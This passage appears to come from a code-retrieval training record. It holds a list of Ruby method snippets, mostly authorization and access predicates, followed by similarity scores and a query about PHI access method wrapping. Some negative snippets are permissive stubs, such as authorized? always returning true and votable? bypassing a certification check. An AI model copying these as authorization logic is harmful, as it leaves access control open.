@conditional_access\n end", "def can_access?(space = object)\n space.accessible_by_user?(current_user)\n end", "def access_required?\n user_signed_in? &&\n !devise_controller? &&\n !%w(\n subscriptions\n accounts\n ).include?(controller_name)\n end", "def votable?\n # NOTE: it was requested by NCID staff to make all registrations automatically votable\n # regardless of certification status\n return true\n# return self.certification.present?\n end", "def manage?\n super || (@user && @user.is_curator?)\n end", "def has_accessories_percept\n if (self.has_accessories && self.has_services)\n return false\n else\n return true\n end\n end", "def user_accessible?\n is_admin\n end", "def tiene_permiso?\n if not protect?(action_name)\n return true\n end\n if @session['user'] and autorizado?(@session['user'], controller_name)\n return true\n end\n store_location\n access_denied\n return false\n end", "def can_view_financial_statements?\n if accountant? and (not current_user.accountant_allow_read('can_see_finances') or not current_user.accountant_allow_read('payments_manage') or not current_user.acoutnant_alllow_read('invoices_manage'))\n return false\n else\n return true\n end\n end", "def publicly_accessible?\n codelet.publicly_accessible?\n end", "def user_can_see?(user)\n !self.private || self.is_owner?(user)\n end", "def public?\n self.mode == PUBLIC\n end", "def allowed?\n raise \"Unimplemented 'allowed?' for intention: #{self.inspect}!\"\n end", "def vip_member\n is_admin != true\n end", "def ensure_is_authorized_to_view\n @is_member_of_company = (@relation == :company_admin_own_site || @relation == :company_employee || @relation == :rentog_admin_own_site)\n\n # ALLOWED\n return if @relation == :rentog_admin ||\n @relation == :rentog_admin_own_site ||\n @relation == :domain_supervisor ||\n @relation == :company_admin_own_site\n\n\n # NOT ALLOWED\n # with error message\n flash[:error] = t(\"listing_events.you_have_to_be_company_member\")\n redirect_to root\n return false\n end", "def guest_access?\n guest_access == :can_join\n end", "def permitted?\n appctrl_not_permitted() if ( @current_user.restricted? )\n end", "def permitted?\n appctrl_not_permitted() unless ( @current_user.privileged? )\n end", "def can_access user\n return self.users.include? user\n end", "def regular?\n !administrative? && !stub?\n end", "def editable_check(_traversal_env)\n Result::DENY\n end", "def tainted?() end", "def can_access?(kase)\n ca = self.access_to?(kase)\n ca || (!ca && (self.total_contacts_count > 0 || self.can_purchase_flex_contacts? || self.unlimited_premium_contacts?))\n end", "def valid?\n target_in_privileges? && has_privilege?\n end", "def admin_access?\n admin?\n end", "def is_public?\n self.is_public\n end", "def protects?(_thing)\n false\n end", "def publicly_accessible?\n @dbi.publicly_accessible\n end", "def publicly_accessible?\n @dbi.publicly_accessible\n end", "def permitted?\n appctrl_not_permitted() unless( @current_user.privileged? )\n end", "def protected_method_defined?(p0) end", "def protected_access?(perm_symbol)\n obj = find_permission_object(perm_symbol)\n obj.nil? ? false : obj.protected_access?\n end", "def allowed?\n !session[:session_key].nil?\n end", "def authorized?\n true\n end" ]
[ "0.7995173", "0.6944365", "0.6944365", "0.6652554", "0.6504829", "0.6499465", "0.64774835", "0.638429", "0.63752407", "0.63752407", "0.63291174", "0.6298908", "0.62653935", "0.6237007", "0.62039125", "0.6203814", "0.6179676", "0.6158496", "0.6155603", "0.61355007", "0.6132566", "0.6131045", "0.61303973", "0.60990417", "0.60880166", "0.6084979", "0.60700434", "0.6061612", "0.6046568", "0.60372734", "0.6036426", "0.60353994", "0.60332483", "0.60174376", "0.60087365", "0.5989616", "0.59875214", "0.5980524", "0.5979122", "0.5974859", "0.5972383", "0.59662926", "0.59618306", "0.59437394", "0.59437394", "0.59315896", "0.592365", "0.592", "0.5919245", "0.5908826", "0.590706", "0.5906576", "0.5904701", "0.59020805", "0.5898898", "0.58906865", "0.5887673", "0.5882559", "0.5879513", "0.58727556", "0.5870254", "0.5870254", "0.5870254", "0.58668077", "0.58540744", "0.58510286", "0.5846356", "0.5838473", "0.58327085", "0.58300304", "0.5829728", "0.58279514", "0.5827429", "0.5825536", "0.58238566", "0.5817206", "0.5817197", "0.580963", "0.58092266", "0.58072567", "0.580309", "0.58018064", "0.5798868", "0.57983094", "0.57881653", "0.5785943", "0.5781057", "0.5778445", "0.57779044", "0.5776713", "0.5773169", "0.576661", "0.57653517", "0.57648367", "0.57648367", "0.5758456", "0.5753492", "0.5752155", "0.57448214", "0.57417357" ]
0.7715687
1
Get all method names to be wrapped with PHI access logging
def __phi_wrapped_methods excluded_methods = self.class.__phi_exclude_methods.to_a included_methods = self.class.__phi_include_methods.to_a attribute_names - excluded_methods + included_methods - [self.class.primary_key] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def method_names\n bindings.collect( &:inbound_name )\n end", "def inspect_methods\n return [] unless constant.respond_to?(:methods)\n\n methods = get_methods.map do |name|\n method_information(:method, name)\n end\n\n return methods.sort_by(&:name)\n end", "def inspect_methods\n return [] unless constant.respond_to?(:methods)\n\n methods = get_methods.map do |name|\n method_information(:method, name)\n end\n\n return methods.sort_by(&:name)\n end", "def metric_method_names\n report.metrics.map { |d| ga_to_method_name(d) }\n end", "def method_shark es, method_name\n es.select {|e| e.method_name == method_name }\n .map {|e| \"\\n\\n\\n#{e.date}\\n\\n#{e.method_body}\" }\nend", "def getter_method_names; end", "def methods(*args)\n (super + analyser.delegatable_methods).uniq\n end", "def getExtraCallingMethods()\n callingMethods = []\n \n $reflect_names.each do |name|\n\t\tif isReflectionResolutionUnsucessful($reflection[name].dest)\n\t\t call = $reflection[name].inMethod\n\t\t $secondPassReflections.push(name)\n\t\t if doesMethodTakeStringMethConsObjParam(call) && $reverseCallGraph.has_key?(call)\n\t\t $reverseCallGraph[call].delete_if {|x| x == call }\n\t\t callingMethods = callingMethods + $reverseCallGraph[call]\n\t\t end\n\t\tend\n\tend\n \n callingMethods = callingMethods.uniq\n callingMethods2=[]\n callingMethods.each do |call|\n if doesMethodTakeStringMethConsObjParam(call) && $reverseCallGraph.has_key?(call)\n $reverseCallGraph[call].delete_if {|x| x == call }\n callingMethods2 = callingMethods2 + $reverseCallGraph[call]\n end\n end\n \n return (callingMethods+callingMethods2).uniq\nend", "def extract_method_details; end", "def method_names\n return if @method_names.empty?\n @method_names.uniq.sort\n end", "def walk_method(name); end", "def with_logging(method_name = nil)\n method_name ||= caller[0][/`([^']*)'/, 1]\n result = yield\n self.log method_name, result\n result\n end", "def method_information(bound_method); end", "def getter_method_names\n @getter_method_names ||= instance_methods.map!(&:to_s).tap do |list|\n list.reject! { |item| item.end_with?(\"=\") }\n end\n end", "def method_strings\t\n [\n \".methods\",\n \".methods(false)\",\n \".instance_methods\",\n \".instance_methods(false)\",\n \".public_methods\",\n \".public_methods(false)\",\n \".public_instance_methods\",\n \".public_instance_methods(false)\",\n \".protected_methods\",\n \".protected_methods(false)\",\n \".private_methods\",\n \".private_methods(false)\"\n ]\nend", "def inspect_instance_methods\n return [] unless constant.respond_to?(:instance_methods)\n\n methods = get_methods(:instance_methods).map do |name|\n method_information(:instance_method, name)\n end\n\n return methods.sort_by(&:name)\n end", "def inspect_instance_methods\n return [] unless constant.respond_to?(:instance_methods)\n\n methods = get_methods(:instance_methods).map do |name|\n method_information(:instance_method, name)\n end\n\n return methods.sort_by(&:name)\n end", "def method_sigs\n @method_sigs\n end", "def calls_by_method_name; end", "def method_name\r\n method_info[:method_name]\r\n end", "def display_method_info\n end", "def hooked_methods\n @hooked_methods ||= []\n end", "def __list_check_methods\n methods.grep(/^#{@@checks_start_with}/) do |method|\n method.to_s\n end\n end", "def autoroute_methods\n self.public_instance_methods.select{|m|m.to_s.start_with?(AutoRouter::Router::METHOD_PREFIX)}\n end", "def list_methods_matching_orig name\n found = []\n find_methods name do |store, klass, ancestor, types, method|\n if types == :instance or types == :both then\n methods = store.instance_methods[ancestor]\n if methods then\n matches = methods.grep(/^#{Regexp.escape method.to_s}/)\n matches = matches.map do |match|\n \"#{klass}##{match}\"\n end\n found.push(*matches)\n end\n end\n if types == :class or types == :both then\n methods = store.class_methods[ancestor]\n next unless methods\n matches = methods.grep(/^#{Regexp.escape method.to_s}/)\n matches = matches.map do |match|\n \"#{klass}::#{match}\"\n end\n found.push(*matches)\n end\n end\n found.uniq\n end", "def dimension_method_names\n report.dimensions.map { |d| ga_to_method_name(d) }\n end", "def exposed_methods\n []\n end", "def exposed_methods\n []\n end", "def all_giraffes\n methods.select { |m| m =~ /_giraffe$/ }\n end", "def all_get_methods\n instance_methods.grep /^get_/\n end", "def _traced_method_name(method_name, metric_name)\n \"#{_sanitize_name(method_name)}_with_trace_#{_sanitize_name(metric_name)}\"\n end", "def exposed\n @methods.map{ |method, preference| method if preference == :expose }.compact\n .map(&:to_sym)\n end", "def find_all_permission_methods\n self.methods.select do |method_name|\n method_name =~ /\\Acan_\\w+[^=]\\Z/\n end\n end", "def intersys_methods\n @methods ||= intersys_reflector._methods.to_a\n end", "def context_name_for(method); end", "def list_interceptors\n @interceptors.list\n end", "def list_interceptors\n @interceptors.list\n end", "def all_signed_methods\n HasType.method_names_where(self) {|_| true }\n end", "def index_methods\n debug_msg \" generating method search index\"\n\n list = @classes.uniq.map do |klass|\n klass.method_list\n end.flatten.sort_by do |method|\n [method.name, method.parent.full_name]\n end\n\n list.each do |method|\n debug_msg \" #{method.full_name}\"\n record = method.search_record\n @index[:searchIndex] << \"#{search_string record.shift}()\"\n @index[:longSearchIndex] << \"#{search_string record.shift}()\"\n @index[:info] << record\n end\n end", "def callable_methods\n methods.grep(/^_\\w+[^_]$/)\n end", "def log_dispatch(method, args=[])\n\t\t\tmeth_str = self.class.to_s + \"#\" + method.to_s\n\t\t\tmeth_str += \" #{args.inspect}\" unless args.empty?\n\t\t\tlog \"Dispatching to: #{meth_str}\"\n\t\tend", "def log_tags; end", "def log_tags; end", "def log_tags; end", "def all_names; end", "def all_names; end", "def temporary_access_pass_methods\n return @temporary_access_pass_methods\n end", "def list_methods\n index.keys.sort\n end", "def report_method_stuff(requested_method_name, methods)\n entries = methods.find_all {|m| m.name == requested_method_name and (\n !@onlyLoadedClasses or \n Object.class_eval \"defined? #{m.nameSpace.full_name}\" ) }\n case entries.size\n when 1\n method = @ri_reader.get_method(entries.first)\n @display.display_method_info(method)\n when 0\n puts \"No loaded methods matched your request\"\n else\n @display.display_method_list(entries)\n end\n end", "def phi_log_keys\n @__phi_log_id = persisted? ? \"Key: #{attributes[self.class.primary_key]}\" : \"Object: #{object_id}\"\n @__phi_log_keys = [PHI_ACCESS_LOG_TAG, self.class.name, @__phi_log_id]\n end", "def known_methods\n return self.operations.sort\n end", "def tours\n methods.map(&:to_s).grep(/^tour_/).map {|m| m.sub(/^tour_/,'')}\n end", "def list_control_methods\n LIST_CONTROL_METHODS\n end", "def called_signed_methods\n HasType.method_names_where(self) {|sig| sig.method_called? }\n end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def get_methods(obj)\n meths = obj.methods.grep(/impl/)\n meths.map { |m| m.to_s.gsub('impl_', '') + '!' }\n end", "def display_method_list\n end", "def dump_method_list(objectOrClass)\n puts \"[Debug] method list (#{objectOrClass.class}) #{objectOrClass.inspect} = #{(objectOrClass.methods - Object.methods - Class.methods).sort.to_s}\"\nend", "def method_missing(meth, *args, &block)\n for_all_loggers(meth, *args, &block)\n end", "def add_method_tracers methods, metric_name_code\n methods.each do |method_name|\n add_method_tracer method_name.to_sym, \"#{metric_name_code}#{method_name}\"\n end\n end", "def logger(method_name)\n LoggingWrapper.new(\"#{self.class.name}.#{method_name}\")\n end", "def tracing()\n #This is a stub, used for indexing\n end", "def interesting_methods\n em = extension_modules\n methods-[em.last ? em.last.methods : nil]-self.class.instance_methods\n end", "def method_name\n self.fullname[/\\A(.*)([\\.\\#])([^\\.\\#]+)\\z/, 3]\n end", "def dispatch_method_names(command, type = 'bot')\n [type + '_' + command.join('_').downcase,\n type + '_' + command.first.downcase]\n end", "def retrieve_func_calls\n\t$class_map.each do |keyc, valuec|\n\t\t#puts \"keyc is : #{keyc}\"\n\t\tif $const and !$const.include?keyc\n\t\t\tputs \"don't consider #{keyc}\"\n\t\t\tnext\n\t\tend\n\t\tvaluec.getMethods.each do |key, value|\n\t\t\t#puts \"Investigating #{keyc} . #{key}\"\n\t\t\tvalue.getCalls.each do |each_call|\n\t\t\t\teach_call.findCaller(keyc, key)\n\t\t\t\t#each_call.print\n\t\t\t\t#puts \"keyc #{keyc} key: #{key}\"\n\t\t\t\t#if each_call.caller == nil\n\t\t\t\t#\tputs \"\\t\\tcaller not found: #{each_call.getObjName} . #{each_call.getFuncName}\"\n\t\t\t\t#elsif each_call.caller.getMethod(each_call.getFuncName) == nil and each_call.isQuery == false and each_call.isField == false\n\t\t\t\t#\tputs \"\\t\\t* * function not found: #{each_call.getObjName} . #{each_call.getFuncName}\"\n\t\t\t\t#end\n\t\t\tend\n\t\tend\n\tend\nend", "def all_methods(nin)\n nin.stealth_mode\n nin.throw_star(3)\n nin.assinate(\"Donald Duck\")\nend", "def print\n @routes.each do |route|\n @@logger.info \"#{justify(route, :helper, :r)}\\t#{justify(route, :method, :l).upcase}\\t#{justify(route, :route, :l)}\"\n end\n end", "def method_argument_names\n name, usage = current_method_info\n results = usage.split(name.gsub(/_/,'-')).last || \"\"\n return results.split(' ')\n end", "def method_auth_name\r\n method_info[:method_auth_name]\r\n end", "def filter_methods; end", "def all_convenience_methods\n @mutex.synchronize do\n @methods.keys\n end\n end", "def method_name\n m = @method_stack.first || @@no_method\n m = \"##{m}\" unless m =~ /::/\n m\n end", "def method_name\n m = @method_stack.first || @@no_method\n m = \"##{m}\" unless m =~ /::/\n m\n end", "def list_methods_matching name\n found = []\n\n find_methods name do |store, klass, ancestor, types, method|\n if types == :instance or types == :both then\n methods = store.instance_methods[ancestor]\n\n if methods then\n matches = methods.grep(/^#{Regexp.escape method.to_s}/)\n\n matches = matches.map do |match|\n \"#{klass}##{match}\"\n end\n\n found.concat matches\n end\n end\n\n if types == :class or types == :both then\n methods = store.class_methods[ancestor]\n\n next unless methods\n matches = methods.grep(/^#{Regexp.escape method.to_s}/)\n\n matches = matches.map do |match|\n \"#{klass}::#{match}\"\n end\n\n found.concat matches\n end\n end\n\n found.uniq\n end", "def method_delta_line es, method_name\n es.select {|e| e.method_name == method_name }\n .map(&:method_length)\n .each_cons(2)\n .map {|c,n| [\"^\",\"-\",\"v\"][(c <=> n) + 1] }\n .join\nend", "def lifter_names\n # binding.pry\n lifters.map { |lifter| lifter.name }\n end", "def api\n methods - Object.public_methods\n end", "def delegate_methods(*symbols); end", "def methods\n super + property.keys.map { |v| [\"configure_#{v}\".to_sym, \"request_#{v}\".to_sym] }.flatten\n end", "def local_methods\n (methods - self.class.superclass.instance_methods).sort\n end", "def get_methods(fqns, scope: T.unsafe(nil), visibility: T.unsafe(nil), deep: T.unsafe(nil)); end", "def methods\n return @methods\n end", "def filter_for(method_name)\n methods = Array.new\n \n @filter_chain.each do |method_to_call, option|\n if option == true\n methods << method_to_call\n elsif option.has_key?(:only) && option[:only].include?(method_name.to_sym)\n methods << method_to_call \n elsif option.has_key?(:except) && !option[:except].include?(method_name.to_sym)\n methods << method_to_call \n end\n end\n\n return methods.uniq\n end", "def report_methods cm\n return if cm.method_list.empty?\n\n report = []\n\n cm.each_method do |method|\n next if method.documented? and @coverage_level.zero?\n\n if @coverage_level > 0 then\n params, undoc = undoc_params method\n\n @num_params += params\n\n unless undoc.empty? then\n @undoc_params += undoc.length\n\n undoc = undoc.map do |param| \"+#{param}+\" end\n param_report = \" # #{undoc.join ', '} is not documented\\n\"\n end\n end\n\n next if method.documented? and not param_report\n\n line = method.line ? \":#{method.line}\" : nil\n scope = method.singleton ? 'self.' : nil\n\n report << \" # in file #{method.file.full_name}#{line}\\n\"\n report << param_report if param_report\n report << \" def #{scope}#{method.name}#{method.params}; end\\n\"\n report << \"\\n\"\n end\n\n report\n end", "def decorated_methods_for(type, name)\n Array(decorated_methods[type][name])\n end", "def methods\n return if @methods.empty?\n @methods.uniq.sort\n end", "def handle_help\n self.methods.grep(/^handle_(.*?)/).map {|m| m.to_s.sub(/^(.*?)_/, '')}\n end", "def instance_methods\n all_methods().find_all{|m| (!m.singleton) && (@options.show_all || m.visibility == :public || m.visibility == :protected)}.collect{|m| method_hash(m)}\n end" ]
[ "0.65767586", "0.63391435", "0.63391435", "0.6330648", "0.6320547", "0.597802", "0.5966139", "0.5962135", "0.59499836", "0.59407777", "0.5924651", "0.5915819", "0.58986896", "0.5837323", "0.5833981", "0.5820685", "0.5820685", "0.57955", "0.5788368", "0.57745004", "0.573405", "0.5727507", "0.5683083", "0.56494975", "0.56458014", "0.56398916", "0.56288177", "0.56288177", "0.5623228", "0.5620847", "0.5604779", "0.5598191", "0.558536", "0.55850416", "0.5580077", "0.55788356", "0.55788356", "0.5572049", "0.556954", "0.5566889", "0.5551791", "0.55332077", "0.55332077", "0.55332077", "0.5527793", "0.5527793", "0.55274564", "0.55208206", "0.5507066", "0.54999924", "0.54985744", "0.5494409", "0.5489269", "0.5488537", "0.548014", "0.548014", "0.548014", "0.548014", "0.548014", "0.548014", "0.548014", "0.548014", "0.548014", "0.548014", "0.548014", "0.548014", "0.54786503", "0.5478446", "0.54771364", "0.54720753", "0.5468697", "0.5455351", "0.5442752", "0.5437693", "0.5434511", "0.5424522", "0.54214597", "0.54171157", "0.5410537", "0.5409588", "0.54005426", "0.5391946", "0.5388171", "0.5381582", "0.5381582", "0.5374028", "0.53734684", "0.5372438", "0.5367796", "0.5363649", "0.5354924", "0.5341544", "0.5338921", "0.53353274", "0.5330612", "0.53286475", "0.5323317", "0.53231907", "0.53201425", "0.5319155" ]
0.53662825
89
Get all method names to be wrapped with PHI access extension
def __phi_extended_methods self.class.__phi_extend_methods.to_a end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def method_names\n bindings.collect( &:inbound_name )\n end", "def interesting_methods\n em = extension_modules\n methods-[em.last ? em.last.methods : nil]-self.class.instance_methods\n end", "def inspect_methods\n return [] unless constant.respond_to?(:methods)\n\n methods = get_methods.map do |name|\n method_information(:method, name)\n end\n\n return methods.sort_by(&:name)\n end", "def inspect_methods\n return [] unless constant.respond_to?(:methods)\n\n methods = get_methods.map do |name|\n method_information(:method, name)\n end\n\n return methods.sort_by(&:name)\n end", "def __phi_wrapped_methods\n excluded_methods = self.class.__phi_exclude_methods.to_a\n included_methods = self.class.__phi_include_methods.to_a\n\n attribute_names - excluded_methods + included_methods - [self.class.primary_key]\n end", "def getExtraCallingMethods()\n callingMethods = []\n \n $reflect_names.each do |name|\n\t\tif isReflectionResolutionUnsucessful($reflection[name].dest)\n\t\t call = $reflection[name].inMethod\n\t\t $secondPassReflections.push(name)\n\t\t if doesMethodTakeStringMethConsObjParam(call) && $reverseCallGraph.has_key?(call)\n\t\t $reverseCallGraph[call].delete_if {|x| x == call }\n\t\t callingMethods = callingMethods + $reverseCallGraph[call]\n\t\t end\n\t\tend\n\tend\n \n callingMethods = callingMethods.uniq\n callingMethods2=[]\n callingMethods.each do |call|\n if doesMethodTakeStringMethConsObjParam(call) && $reverseCallGraph.has_key?(call)\n $reverseCallGraph[call].delete_if {|x| x == call }\n callingMethods2 = callingMethods2 + $reverseCallGraph[call]\n end\n end\n \n return (callingMethods+callingMethods2).uniq\nend", "def walk_method(name); end", "def known_methods\n return self.operations.sort\n end", "def delegate_methods(*symbols); end", "def getter_method_names; end", "def get_methods(fqns, scope: T.unsafe(nil), visibility: T.unsafe(nil), deep: T.unsafe(nil)); end", "def intersys_methods\n @methods ||= intersys_reflector._methods.to_a\n end", "def exposed_methods\n []\n end", "def exposed_methods\n []\n end", "def temporary_access_pass_methods\n return @temporary_access_pass_methods\n end", "def list_control_methods\n LIST_CONTROL_METHODS\n end", "def list_methods_matching_orig name\n found = []\n find_methods name do |store, klass, ancestor, types, method|\n if types == :instance or types == :both then\n methods = store.instance_methods[ancestor]\n if methods then\n matches = methods.grep(/^#{Regexp.escape method.to_s}/)\n matches = matches.map do |match|\n \"#{klass}##{match}\"\n end\n found.push(*matches)\n end\n end\n if types == :class or types == :both then\n methods = store.class_methods[ancestor]\n next unless methods\n matches = methods.grep(/^#{Regexp.escape method.to_s}/)\n matches = matches.map do |match|\n \"#{klass}::#{match}\"\n end\n found.push(*matches)\n end\n end\n found.uniq\n end", "def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end", "def callable_methods\n methods.grep(/^_\\w+[^_]$/)\n end", "def methods(*args)\n (super + analyser.delegatable_methods).uniq\n end", "def find_all_permission_methods\n self.methods.select do |method_name|\n method_name =~ /\\Acan_\\w+[^=]\\Z/\n end\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def child_methods\n literals.select {|lit| lit.kind_of? CompiledMethod }\n end", "def exposed\n @methods.map{ |method, preference| method if preference == :expose }.compact\n .map(&:to_sym)\n end", "def get_methods(obj)\n meths = obj.methods.grep(/impl/)\n meths.map { |m| m.to_s.gsub('impl_', '') + '!' }\n end", "def included_methods\n included_modules.map(&:instance_methods).flatten\n end", "def extract_method_details; end", "def all_methods(nin)\n nin.stealth_mode\n nin.throw_star(3)\n nin.assinate(\"Donald Duck\")\nend", "def getter_method_names\n @getter_method_names ||= instance_methods.map!(&:to_s).tap do |list|\n list.reject! { |item| item.end_with?(\"=\") }\n end\n end", "def inspect_instance_methods\n return [] unless constant.respond_to?(:instance_methods)\n\n methods = get_methods(:instance_methods).map do |name|\n method_information(:instance_method, name)\n end\n\n return methods.sort_by(&:name)\n end", "def inspect_instance_methods\n return [] unless constant.respond_to?(:instance_methods)\n\n methods = get_methods(:instance_methods).map do |name|\n method_information(:instance_method, name)\n end\n\n return methods.sort_by(&:name)\n end", "def all_giraffes\n methods.select { |m| m =~ /_giraffe$/ }\n end", "def all_get_methods\n instance_methods.grep /^get_/\n end", "def list_methods\n index.keys.sort\n end", "def decorated_methods_for(type, name)\n Array(decorated_methods[type][name])\n end", "def all_signed_methods\n HasType.method_names_where(self) {|_| true }\n end", "def autoroute_methods\n self.public_instance_methods.select{|m|m.to_s.start_with?(AutoRouter::Router::METHOD_PREFIX)}\n end", "def __list_helper_methods\n # avoiding '__self__' and '__id__' symbols with last regex part\n methods.grep(/^#{@@helper_start_with}.*?[^__]$/) do |method|\n method.to_s\n end\n end", "def private_delegate_methods(*symbols); end", "def all_methods\n self.all_classes_and_modules.map do |klassmod|\n klassmod.own_methods.as_array\n end.flatten\n end", "def calls_by_method_name; end", "def method_names\n return if @method_names.empty?\n @method_names.uniq.sort\n end", "def method_information(bound_method); end", "def local_methods\n (methods - self.class.superclass.instance_methods).sort\n end", "def parsed_methods\n parsed_include(:method)\n end", "def hooked_methods\n @hooked_methods ||= []\n end", "def methods\n return @methods\n end", "def api\n methods - Object.public_methods\n end", "def context_name_for(method); end", "def method_name\n self.fullname[/\\A(.*)([\\.\\#])([^\\.\\#]+)\\z/, 3]\n end", "def list_methods_matching name\n found = []\n\n find_methods name do |store, klass, ancestor, types, method|\n if types == :instance or types == :both then\n methods = store.instance_methods[ancestor]\n\n if methods then\n matches = methods.grep(/^#{Regexp.escape method.to_s}/)\n\n matches = matches.map do |match|\n \"#{klass}##{match}\"\n end\n\n found.concat matches\n end\n end\n\n if types == :class or types == :both then\n methods = store.class_methods[ancestor]\n\n next unless methods\n matches = methods.grep(/^#{Regexp.escape method.to_s}/)\n\n matches = matches.map do |match|\n \"#{klass}::#{match}\"\n end\n\n found.concat matches\n end\n end\n\n found.uniq\n end", "def helper_methods\n members - PREDICATE_FIELDS + PREDICATE_FIELDS.map { |f| \"#{f}?\".to_sym }\n end", "def methods() end", "def index\n @admin_ruby_name_methods = Admin::RubyNameMethod.all\n end", "def phi_wrap_method(method_name)\n unless respond_to?(method_name)\n PhiAttrs::Logger.warn(\"#{self.class.name} tried to wrap non-existant method (#{method_name})\")\n return\n end\n return if self.class.__phi_methods_wrapped.include? method_name\n\n wrapped_method = :\"__#{method_name}_phi_wrapped\"\n unwrapped_method = :\"__#{method_name}_phi_unwrapped\"\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n unless phi_allowed?\n raise PhiAttrs::Exceptions::PhiAccessException, \"Attempted PHI access for #{self.class.name} #{@__phi_user_id}\"\n end\n\n unless all_phi_context_logged?\n PhiAttrs::Logger.info(\"#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}\")\n set_all_phi_context_logged\n end\n\n send(unwrapped_method, *args, **kwargs, &block)\n end\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_wrapped << method_name\n end", "def local_methods\n self.methods.select{|m| self.method(m).owner == self }\n end", "def method_strings\t\n [\n \".methods\",\n \".methods(false)\",\n \".instance_methods\",\n \".instance_methods(false)\",\n \".public_methods\",\n \".public_methods(false)\",\n \".public_instance_methods\",\n \".public_instance_methods(false)\",\n \".protected_methods\",\n \".protected_methods(false)\",\n \".private_methods\",\n \".private_methods(false)\"\n ]\nend", "def expose(*meths)\n @exposed ||= []\n meths.each do |meth|\n @exposed << meth unless @exposed.include?(meth)\n end\n @exposed\n end", "def ole_methods\r\n @request.ole_methods\r\n end", "def method_sigs\n @method_sigs\n end", "def all_methods(instance_methods = false)\n methods = if instance_methods || @instance_methods_switch\n Pry::Method.all_from_class(@interrogatee)\n else\n Pry::Method.all_from_obj(@interrogatee)\n end\n\n if Pry::Helpers::Platform.jruby? && !@jruby_switch\n methods = trim_jruby_aliases(methods)\n end\n\n methods.select { |method| @ppp_switch || method.visibility == :public }\n end", "def methods\n return if @methods.empty?\n @methods.uniq.sort\n end", "def __list_check_methods\n methods.grep(/^#{@@checks_start_with}/) do |method|\n method.to_s\n end\n end", "def all_names; end", "def all_names; end", "def get_methods(class_name, access_control = nil)\n if access_control\n methods(class_name).select { |method| method.access_control == access_control }\n else\n methods(class_name)\n end\n end", "def extension_methods\n @@extension_methods\n end", "def get_methods(mod)\n methods = []\n mod.constants.sort.each do |c|\n mod.const_get(c).singleton_methods.sort.each do |m|\n methods << \"#{c}::#{m}\"\n end\n end\n methods\nend", "def display_method_list\n end", "def all_convenience_methods\n @mutex.synchronize do\n @methods.keys\n end\n end", "def methods\n main_service.methods.select(&:can_generate_rest?)\n end", "def index_methods\n debug_msg \" generating method search index\"\n\n list = @classes.uniq.map do |klass|\n klass.method_list\n end.flatten.sort_by do |method|\n [method.name, method.parent.full_name]\n end\n\n list.each do |method|\n debug_msg \" #{method.full_name}\"\n record = method.search_record\n @index[:searchIndex] << \"#{search_string record.shift}()\"\n @index[:longSearchIndex] << \"#{search_string record.shift}()\"\n @index[:info] << record\n end\n end", "def all_c_methods\n self.all_classes_and_modules.flat_map do |klassmod|\n klassmod.select_c_methods\n end\n end", "def interesting_methods\n (self.methods - Object.instance_methods).sort\n end", "def internal_methods; end", "def _magic_insight_methods\n # We want to keep the longer of the methods by num chars in the method name, because these are the ones meant for\n # humans to see (e.g. human_time, filtered_backtrace, display_time)\n sorted = _sorted_methods\n idiomatic = _idiomatic_methods\n # So we delete the shorter of the two\n idiomatic.each do |idiom|\n sorted.each_with_index do |meth, index|\n # first one found will be the shortest, so delete and move to next idiom\n if meth.to_s =~ /#{idiom}/\n sorted.delete_at(index)\n break # to idiomatic loop\n end\n end\n end\n sorted\n end", "def instance_methods\n all_methods().find_all{|m| (!m.singleton) && (@options.show_all || m.visibility == :public || m.visibility == :protected)}.collect{|m| method_hash(m)}\n end", "def filter_methods; end", "def emit_methods_arrays\n @symbol_table.map do |cname, chash|\n if chash.has_key? :functions_def\n id2fun_records = chash[:functions_def].map do |fname,farray|\n fdef = farray.first\n args_number = fdef[2].rest.length\n if fdef[0] == :stdlib_defn\n # Method defined in stdlib\n [fname, ('&'+fdef[1].to_s).to_sym, :NULL]\n else\n # Method defined in user code\n [fname, :NULL, :NULL]\n end \n end\n HashBuilder.emit_table(cname, HashElemStruct, id2fun_records)\n end\n end.join\n end", "def methods\n super + property.keys.map { |v| [\"configure_#{v}\".to_sym, \"request_#{v}\".to_sym] }.flatten\n end", "def metric_method_names\n report.metrics.map { |d| ga_to_method_name(d) }\n end", "def provides_for(prefix)\n return [] unless @exposed\n @exposed.select do |meth|\n if instance_methods.include?(meth.to_s) or instance_methods.include?(meth.to_sym)\n true\n else\n RightLinkLog.warn(\"Exposing non-existing method #{meth} in actor #{name}\")\n false\n end\n end.map {|meth| \"/#{prefix}/#{meth}\".squeeze('/')}\n end", "def method_symbol; end", "def tours\n methods.map(&:to_s).grep(/^tour_/).map {|m| m.sub(/^tour_/,'')}\n end", "def phi_wrap_extension(method_name)\n raise NameError, \"Undefined relationship in `extend_phi_access`: #{method_name}\" unless respond_to?(method_name)\n return if self.class.__phi_methods_to_extend.include? method_name\n\n wrapped_method = wrapped_extended_name(method_name)\n unwrapped_method = unwrapped_extended_name(method_name)\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n relation = send(unwrapped_method, *args, **kwargs, &block)\n\n if phi_allowed? && (relation.present? && relation_klass(relation).included_modules.include?(PhiRecord))\n relations = relation.is_a?(Enumerable) ? relation : [relation]\n relations.each do |r|\n r.allow_phi!(phi_allowed_by, phi_access_reason) unless @__phi_relations_extended.include?(r)\n end\n @__phi_relations_extended.merge(relations)\n self.class.__instances_with_extended_phi.add(self)\n end\n\n relation\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, 